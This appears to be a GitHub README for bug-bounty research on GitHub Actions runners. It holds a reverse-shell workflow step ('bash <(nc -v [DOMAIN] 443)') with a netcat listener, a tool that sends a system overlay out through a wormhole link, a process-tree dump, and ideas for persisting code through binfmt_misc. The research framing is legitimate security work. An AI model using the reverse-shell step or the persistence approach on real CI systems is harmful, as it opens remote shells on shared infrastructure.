Skip to content

A writeup on exploiting Spectre/Meltdown on Github Actions Workers for Github's Bug Bounty

License

Notifications You must be signed in to change notification settings

light-river/github-actions-spectre-vulnerability

Repository files navigation

INFO

This repository is for testing vulnerabilities in github Actions as per the bug-bounty.

More information at INFO, latest stats @ .overlay & the latest patch @ latest.patch

Focus

Firstly respecting github, their infrastructure & the privacy of users.

Github talks about the Actions targets in the link above, this specific paragraph refelcts the direction this repository is taking.

Each repository in GitHub Actions is isolated from one another. Each job runs in a tenant which only contains resources for that single repository. It should not be possible to access resources from another repository’s job. ...if these primitives [hardware resources] can be abused to access resources of other repositories or users then this would be eligible for reward.


Tools

create-patch

Create path takes a "overlay" of both user & kernel space & returns a wormhole link to a tarball. After you manually grab the link download it & run patcher to apply the latest .overlay & create a new patch. Create patch just runs stat-dump, if you want more information you can add to that script.

reverse-shell

Attaches the github actions execution to a tcp instance of nc, the only dependency is the original BSD nc lib, nc. (note there are many versions of nc, ncat, netcat...).

There are two commands, the server will need to be hosted yourself, it will stream input to the CI steps shell, the client is defined in the CI step & runs on the github actions host.

Heres an example:

Server

nc -lvk 701.io 443
- name: reverse-shell
 run: |
   bash <(nc -v [DOMAIN] 443)

Important

Steps do not fail on their own, you need to manually cancel the step when you're finished using it.

Next I'm looking at

systemd(1)-+-accounts-daemon(648)-+-{accounts-daemon}(684)
           |                      `-{accounts-daemon}(735)
           |-agetty(729)
           |-agetty(770)
           |-atd(704)
           |-chronyd(686)---chronyd(701)
           |-containerd(708)-+-{containerd}(816)
           |                 |-{containerd}(817)
           |                 |-{containerd}(818)
           |                 |-{containerd}(819)
           |                 |-{containerd}(844)
           |                 |-{containerd}(856)
           |                 |-{containerd}(860)
           |                 |-{containerd}(888)
           |                 |-{containerd}(889)
           |                 |-{containerd}(890)
           |                 `-{containerd}(891)
           |-cron(653)
           |-dbus-daemon(654)
           |-dockerd(3060)-+-{dockerd}(3061)
           |               |-{dockerd}(3062)
           |               |-{dockerd}(3063)
           |               |-{dockerd}(3064)
           |               |-{dockerd}(3065)
           |               |-{dockerd}(3066)
           |               |-{dockerd}(3067)
           |               |-{dockerd}(3076)
           |               `-{dockerd}(3078)
           |-haveged(453)
           |-hv_kvp_daemon(276)
           |-irqbalance(659)---{irqbalance}(709)
           |-mono(753)-+-{mono}(806)
           |           |-{mono}(837)
           |           |-{mono}(1193)
           |           `-{mono}(1194)
           |-multipathd(397)-+-{multipathd}(398)
           |                 |-{multipathd}(399)
           |                 |-{multipathd}(400)
           |                 |-{multipathd}(401)
           |                 |-{multipathd}(402)
           |                 `-{multipathd}(403)
           |-networkd-dispat(661)
           |-packagekitd(2311)-+-{packagekitd}(2312)
           |                   `-{packagekitd}(2313)
           |-php-fpm7.4(662)-+-php-fpm7.4(876)
           |                 `-php-fpm7.4(879)
           |-php-fpm8.0(663)-+-php-fpm8.0(877)
           |                 `-php-fpm8.0(878)
           |-polkitd(825)-+-{polkitd}(826)
           |              `-{polkitd}(828)
           |-provisioner(665)-+-Runner.Listener(1547)-+-Runner.Worker(1567)-+-bash(1670)-+-bash(1671)---nc(1673)
           |                  |                       |                     |            `-bash(1672)---pstree(7907)
           |                  |                       |                     |-{Runner.Worker}(1569)
           |                  |                       |                     |-{Runner.Worker}(1570)
           |                  |                       |                     |-{Runner.Worker}(1571)
           |                  |                       |                     |-{Runner.Worker}(1572)
           |                  |                       |                     |-{Runner.Worker}(1573)
           |                  |                       |                     |-{Runner.Worker}(1574)
           |                  |                       |                     |-{Runner.Worker}(1575)
           |                  |                       |                     |-{Runner.Worker}(1576)
           |                  |                       |                     |-{Runner.Worker}(1577)
           |                  |                       |                     |-{Runner.Worker}(1578)
           |                  |                       |                     |-{Runner.Worker}(1579)
           |                  |                       |                     |-{Runner.Worker}(1580)
           |                  |                       |                     |-{Runner.Worker}(1582)
           |                  |                       |                     |-{Runner.Worker}(1584)
           |                  |                       |                     |-{Runner.Worker}(1586)
           |                  |                       |                     |-{Runner.Worker}(1669)
           |                  |                       |                     |-{Runner.Worker}(1686)
           |                  |                       |                     |-{Runner.Worker}(7806)
           |                  |                       |                     `-{Runner.Worker}(7847)
           |                  |                       |-{Runner.Listener}(1549)
           |                  |                       |-{Runner.Listener}(1550)
           |                  |                       |-{Runner.Listener}(1551)
           |                  |                       |-{Runner.Listener}(1552)
           |                  |                       |-{Runner.Listener}(1553)
           |                  |                       |-{Runner.Listener}(1554)
           |                  |                       |-{Runner.Listener}(1555)
           |                  |                       |-{Runner.Listener}(1556)
           |                  |                       |-{Runner.Listener}(1557)
           |                  |                       |-{Runner.Listener}(1559)
           |                  |                       |-{Runner.Listener}(1561)
           |                  |                       |-{Runner.Listener}(1562)
           |                  |                       |-{Runner.Listener}(1568)
           |                  |                       |-{Runner.Listener}(7905)
           |                  |                       `-{Runner.Listener}(7906)
           |                  |-{provisioner}(703)
           |                  |-{provisioner}(705)
           |                  |-{provisioner}(716)
           |                  |-{provisioner}(717)
           |                  |-{provisioner}(718)
           |                  |-{provisioner}(720)
           |                  |-{provisioner}(774)
           |                  |-{provisioner}(1358)
           |                  |-{provisioner}(1359)
           |                  |-{provisioner}(1543)
           |                  |-{provisioner}(1544)
           |                  |-{provisioner}(7833)
           |                  |-{provisioner}(7899)
           |                  |-{provisioner}(7902)
           |                  |-{provisioner}(7903)
           |                  `-{provisioner}(7904)
           |-python3(699)---python3(964)-+-{python3}(1073)
           |                             |-{python3}(1074)
           |                             |-{python3}(1078)
           |                             `-{python3}(1082)
           |-rsyslogd(664)-+-{rsyslogd}(713)
           |               |-{rsyslogd}(714)
           |               `-{rsyslogd}(715)
           |-snapd(671)-+-{snapd}(1090)
           |            |-{snapd}(1094)
           |            |-{snapd}(1095)
           |            |-{snapd}(1096)
           |            |-{snapd}(1097)
           |            |-{snapd}(1225)
           |            |-{snapd}(1231)
           |            |-{snapd}(1257)
           |            |-{snapd}(1262)
           |            `-{snapd}(1356)
           |-ssh-agent(7850)
           |-ssh-agent(7844)
           |-sshd(712)
           |-systemd-journal(187)
           |-systemd-logind(692)
           |-systemd-network(533)
           |-systemd-resolve(535)
           `-systemd-udevd(221)

This notification popped up for the first time... speaks about how github may be using runners.

Found online and idle hosted runner(s) in the current repository's organization account that matches the required labels: 'ubuntu-latest'
Waiting for a hosted runner in 'organization' to pick this job...
  1. Using binfmt_misc to mount arbitrary code that persists network & process connections either elevated or isolated from the initial actions container.

  2. Bridging, monitoring, creating, or performing other non-damaging action on network namespaces & interfaces.

Actions are already using binfmt_misc in the boot & init process

Kernel Support for miscellaneous Binary Formats (binfmt_misc)

This Kernel feature allows you to invoke almost (for restrictions see below) every program by simply typing its name in the shell. This includes for example compiled Java(TM), Python or Emacs programs. see: https://www.kernel.org/doc/html/latest/admin-guide/binfmt-misc.html

To achieve this you must tell binfmt_misc which interpreter has to be invoked with which binary. Binfmt_misc recognises the binary-type by matching some bytes at the beginning of the file with a magic byte sequence (masking out specified bits) you have supplied. Binfmt_misc can also recognise a filename extension aka .com or .exe.

proc-sys-fs-binfmt_misc.automount
● proc-sys-fs-binfmt_misc.automount - Arbitrary Executable File Formats File System Automount Point
     Loaded: loaded (/lib/systemd/system/proc-sys-fs-binfmt_misc.automount; static; vendor preset: enabled)
     Active: active (running) since Wed 2021-06-30 02:11:52 UTC; 16min ago
   Triggers: ● proc-sys-fs-binfmt_misc.mount
      Where: /proc/sys/fs/binfmt_misc
  1. Kernel interaction including the creation of namespaces & devices.
    see: https://www.systutorials.com/docs/linux/man/8-systemd-udevd-kernel.socket/

  2. Storing distributed state built from synchronized pulls from the entropy pools to identify containers that share physical hardware (a curiousity of mine, mainly)


● systemd-udevd-kernel.socket - udev Kernel Socket
     Loaded: loaded (/lib/systemd/system/systemd-udevd-kernel.socket; static; vendor preset: enabled)
     Active: active (running) since Wed 2021-06-30 02:11:52 UTC; 16min ago
   Triggers: ● systemd-udevd.service
       Docs: man:systemd-udevd.service(8)
             man:udev(7)
     Listen: kobject-uevent 1 (Netlink)
      Tasks: 0 (limit: 8335)
     Memory: 0B
     CGroup: /system.slice/systemd-udevd-kernel.socket

About

A writeup on exploiting Spectre/Meltdown on Github Actions Workers for Github's Bug Bounty

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published